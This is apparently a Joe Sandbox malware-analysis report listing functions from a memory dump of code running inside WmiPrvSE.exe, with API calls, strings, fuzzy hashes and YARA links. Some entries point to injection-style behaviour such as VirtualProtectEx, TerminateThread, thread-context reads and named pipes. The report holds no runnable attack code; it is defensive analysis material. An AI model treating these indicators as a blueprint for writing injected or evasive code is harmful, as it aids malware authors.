Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000216D26FF510
GetProcAddress.KERNEL32 ref: 00000216D26FF51C

Strings

ext-ms-, xrefs: 00000216D26FF46D
api-ms-, xrefs: 00000216D26FF45A

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 92ddf48e1aa4a1190580f65684b299f7d0a26a8f15121ea85989b59e145c7e08
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 7E419332311BA092EF26CF26B91C7EE3395BB65BA0F05512D9D09977C9EF38C4498354

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000216D26F10B1
RegEnumValueW.ADVAPI32 ref: 00000216D26F1117
GetProcessHeap.KERNEL32 ref: 00000216D26F115A
HeapAlloc.KERNEL32 ref: 00000216D26F1168
GetProcessHeap.KERNEL32 ref: 00000216D26F1185
HeapFree.KERNEL32 ref: 00000216D26F1193

Strings

d, xrefs: 00000216D26F10D6

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 36a5de4b35330dd6bf783404e2c0f3cce9a4c255769af094cc3b1710d72c7746
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: CE416D73614B84C6EB60CF22E45879E77B1F399B98F448129DA8907B58DF39C489CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000216D26FC7DE,?,?,?,?,?,?,?,?,00000216D26FCF9D,?,?,00000001), ref: 00000216D26FD087
FlsSetValue.KERNEL32(?,?,?,00000216D26FC7DE,?,?,?,?,?,?,?,?,00000216D26FCF9D,?,?,00000001), ref: 00000216D26FD0A6
FlsSetValue.KERNEL32(?,?,?,00000216D26FC7DE,?,?,?,?,?,?,?,?,00000216D26FCF9D,?,?,00000001), ref: 00000216D26FD0CE
FlsSetValue.KERNEL32(?,?,?,00000216D26FC7DE,?,?,?,?,?,?,?,?,00000216D26FCF9D,?,?,00000001), ref: 00000216D26FD0DF
FlsSetValue.KERNEL32(?,?,?,00000216D26FC7DE,?,?,?,?,?,?,?,?,00000216D26FCF9D,?,?,00000001), ref: 00000216D26FD0F0

Strings

Y%, xrefs: 00000216D26FD0A6
1%, xrefs: 00000216D26FD0CE

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: bbdc88ed379a5248da2f3bc616235ad33d39205bdc7da67ecc880a6fe3d3c7e5
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 5E1151307043E443FE69A735B55D3FF61515BB47F0F24532C98390A6DADE69E4428200

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000216D26F9E49
GetLastError.KERNEL32 ref: 00000216D26F9E57
LoadLibraryExW.KERNEL32 ref: 00000216D26F9E81
FreeLibrary.KERNEL32 ref: 00000216D26F9EC7
GetProcAddress.KERNEL32 ref: 00000216D26F9ED3

Strings

api-ms-, xrefs: 00000216D26F9E69

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: d91f1ddd1e23f78949fbc93a21aec31379e2e5c1a4099b5947a4f9999bde744f
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 0C31A53131B7A0D2EE25DB42B90C7EE22A4BB68BA4F59052D9D1D0B798EF39C4498350

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D2703DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000216D2703DE5
GetLastError.KERNEL32 ref: 00000216D2703DF1
CloseHandle.KERNEL32 ref: 00000216D2703E09
CreateFileW.KERNEL32 ref: 00000216D2703E34
WriteConsoleW.KERNEL32 ref: 00000216D2703E53

Strings

CONOUT$, xrefs: 00000216D2703E15

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 7ab6818446840e18fec15ba70f91da5db94e77b29423fbb15da8559ae62a4ca0
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: F711BF31310B8086E7708B13F96C7AD72B0F7A8FE4F050229EA6A87794CF39C8488740

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000216D26F379E
GetCurrentProcess.KERNEL32 ref: 00000216D26F37CC
VirtualProtectEx.KERNEL32 ref: 00000216D26F37EE
GetCurrentProcess.KERNEL32 ref: 00000216D26F3809
VirtualProtectEx.KERNEL32 ref: 00000216D26F382A

Strings

wr, xrefs: 00000216D26F37FF

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d4fca3ae67716ce6b46a4d8b2ad9e809881d3a676f3b5f353888f58d38bd36b4
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: E3115736700B9083EF249B22F51D6AE62B4FB98B84F050028DE9903794EF2EC509C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216D26F5B6B
GetThreadContext.KERNEL32 ref: 00000216D26F5CD5

Part of subcall function 00000216D26F5960: GetCurrentThreadId.KERNEL32 ref: 00000216D26F5964

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: daa48e532976326172583e3a4c571c47417c5d4eaf44e271789a03aca871daf1
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: CCD19A76309B9882DA719B06F49839E7BA0F7D8B84F11011AEACD47BA5DF3CC541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216D26F2F27
HeapAlloc.KERNEL32 ref: 00000216D26F2F3A
StrCmpNIW.SHLWAPI ref: 00000216D26F2FAF
GetProcessHeap.KERNEL32 ref: 00000216D26F3015
HeapFree.KERNEL32 ref: 00000216D26F3023

Strings

dialer, xrefs: 00000216D26F2FA8

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: f5f8e4336207762ff06b85c0c5e7c1aa6cd79ed60dfa5d07f0cf3e87d149ceda
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 9131B032712BA183EA24DF17F54C7AE67A0FB64B84F094029AE4847B55EF39C4A58700

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000216D26FCFAF
FlsSetValue.KERNEL32(?,?,?,00000216D26FD6B5,?,?,?,?,00000216D26FD778), ref: 00000216D26FCFE5
FlsSetValue.KERNEL32(?,?,?,00000216D26FD6B5,?,?,?,?,00000216D26FD778), ref: 00000216D26FD012
FlsSetValue.KERNEL32(?,?,?,00000216D26FD6B5,?,?,?,?,00000216D26FD778), ref: 00000216D26FD023
FlsSetValue.KERNEL32(?,?,?,00000216D26FD6B5,?,?,?,?,00000216D26FD778), ref: 00000216D26FD034
SetLastError.KERNEL32 ref: 00000216D26FD04F

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: dce4a53cde0980e9e7bfa8e5c238c057e3e134f4f123bc0cd4f8d66485bd53a0
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: DE117C307013E083FE65A732B65D7FE62526FB57F4F25172CA8364BBEADE6994418200

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000216D26F19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000216D26F19E0
PathFindFileNameW.SHLWAPI ref: 00000216D26F19EF
lstrlenW.KERNEL32 ref: 00000216D26F19FB
StrCpyW.SHLWAPI ref: 00000216D26F1A0E
CloseHandle.KERNEL32 ref: 00000216D26F1A1C

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: aaa05becb4c794b8857766a330a48a9d678b44623b64567a254f1759be6cd1d3
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 9E015731700B8082EA24DB53B96C7AEA3B1F798BC4F894039DE5943758DF39C989C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000216D26F36E4
GetCurrentProcess.KERNEL32 ref: 00000216D26F36F2
VirtualProtectEx.KERNEL32 ref: 00000216D26F3714
GetCurrentProcess.KERNEL32 ref: 00000216D26F3732
VirtualProtectEx.KERNEL32 ref: 00000216D26F3753
TerminateThread.KERNEL32 ref: 00000216D26F3762

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 16afa84e82cc86c646f2e738083c556f07bcf6cc28e13af764bfc987c5c61cb4
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 4F011775711B9082FF349B22F92DBAE62B0BB69B86F05442DCA4907764EF3EC5588704

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216D26F9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000216D26F90A8
RtlUnwindEx.NTDLL ref: 00000216D26F90F7

Strings

csm, xrefs: 00000216D26F908E
f, xrefs: 00000216D26F9026

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: fbb99a4ca73ed02ef3618f4b3511766aee6ed6129d4346f9d11c6a549c236738
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: EF518A3271A7A08BEF18DF15F44CB9E27A6F364B98F118128DA064378CEB75C841CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216D26F9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000216D26F90A8
RtlUnwindEx.NTDLL ref: 00000216D26F90F7

Strings

csm, xrefs: 00000216D26F908E
f, xrefs: 00000216D26F9026

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1e00c5c04a80ba1c2bca88dccdd20ab6fe7f7f0abb252079c830c24d101d64d9
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: E7318A3230A7A087EB24DF12F84CB9E7BA5F360B88F058028AE5643789DB39C944C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000216D26F1A60
StrCmpNIW.SHLWAPI ref: 00000216D26F1A7A
lstrlenW.KERNEL32 ref: 00000216D26F1A89
StrCpyW.SHLWAPI ref: 00000216D26F1A9E

Strings

\\?\, xrefs: 00000216D26F1A6E

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 54468008fb76d3ceb074340360c7efe810375cd3f49c34f7dcfcdf5d716536ec
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 2AF0443270478192EB709B21F9AC7AE6771F7A8BC8F844028DA4946554DF3DC64DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000216D26F3066
StrCpyW.SHLWAPI ref: 00000216D26F3076
StrCatW.SHLWAPI ref: 00000216D26F3082
PathCombineW.SHLWAPI ref: 00000216D26F3090

Strings

\\.\pipe\, xrefs: 00000216D26F305C

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 1f8ee4dff4bd355b026cc7db21423f4b422cb372abe15318a0c4be239f57fa13
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: CDF08270704BD082EA248F13BA2C1AEA271BB58FD0F054039EE5647B18DF3DC4598740

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000216D26FBCBD
GetProcAddress.KERNEL32 ref: 00000216D26FBCD3
FreeLibrary.KERNEL32 ref: 00000216D26FBCFA

Strings

mscoree.dll, xrefs: 00000216D26FBCB4
CorExitProcess, xrefs: 00000216D26FBCCC

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 61dffab3c17364cab24f57077d3ec7b86dbba340f16fca5bb8c7f50fe85359fa
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 3AF06771311B4482EF208B2AF85D7AE6330FBA8BA1F55021DCA6A462E4DF2EC4498350

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216D26F5156

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 948c8bec6fbc4b08e2981e4d1d6d3b02dc10d3ff283c73938789242dd6c4b88b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 2A02A73261DBD486EB60CB55F49839FB7A1F3D5794F105119EA8E87BA8DB78C884CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216D26F5726

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 90313672a6e2754a66723f333f78db76843b27ab28469919e333a7b4c8eb3b37
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 5C619736619B94C7EB608B15F45C36FB7A1F398794F10111AEA8E47BA8EB7CC940CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000216D26FAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000216D26FAAB7

Strings

RCC, xrefs: 00000216D26FAA85
MOC, xrefs: 00000216D26FAA7C

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 070c2ad1e28439dfe6348e1f8a119f9c906d6458a8f3c0467de36e95644402c2
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: EE616732705B948AEB20DF65E4883DE77A1F3A8B88F144219EF4917B98DB38C995C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26FAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216D26FADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000216D26FAE88

Strings

csm, xrefs: 00000216D26FADC2
csm, xrefs: 00000216D26FAEDA

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: e3cc943b61c5eede2163ff4031a19a7949b406678ad233934a46768c194c72e9
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 5B516E773043E08BEF648B16A58C39E77A0F3A4B85F14815EEA994BBD5CB38D850C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D2702058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000216D27020D7
WriteFile.KERNEL32 ref: 00000216D270239F
WriteFile.KERNEL32 ref: 00000216D27023E5
GetLastError.KERNEL32 ref: 00000216D270249B

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: bc674476e9f7a6a1d0bf5a9b290e8843e086fa641938ceb4ebd2d10bd0af943e
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 1BD1E333B14A808AE721CFBAE5483EC3BB1F364799F15421ADE5997B99DB35C40AC340

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216D26F14C5
HeapFree.KERNEL32 ref: 00000216D26F14D4
GetProcessHeap.KERNEL32 ref: 00000216D26F14E1
HeapFree.KERNEL32 ref: 00000216D26F14F0
GetProcessHeap.KERNEL32 ref: 00000216D26F1500

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 5032111f951d62ea2bb3c5acc9668f4dfe8daefab9db1ee2bbc544a827910f45
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: EF117C36A00B90CAE724DF63BA1D2AE77B0F7ACF81F054029EA4903716DF35C8588740

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D2702980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000216D2702A9C
GetLastError.KERNEL32 ref: 00000216D2702B27

Memory Dump Source

Source File: 00000009.00000002.2367241608.00000216D26F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216D26F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_216d26f0000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 36a833b3bf5a97540ca24a82c186a25b77ac2cdb82885c3ca0b348520cb859d7
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: FD91CE7371065085FB719F76AA9C3FD2BB0B764B89F16410DDE0A67A94DB36C88AC700

Uniqueness

Uniqueness Score: -1.00%

Function 00000216D26F7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000216D26F798C
GetCurrentThreadId.KERNEL32 ref: 00000216D26F799A
GetCurrentProcessId.KERNEL32 ref: 00000216D26F79A6
QueryPerformanceCounter.KERNEL32 ref: 00000216D26F79B6

Memory Dump Source

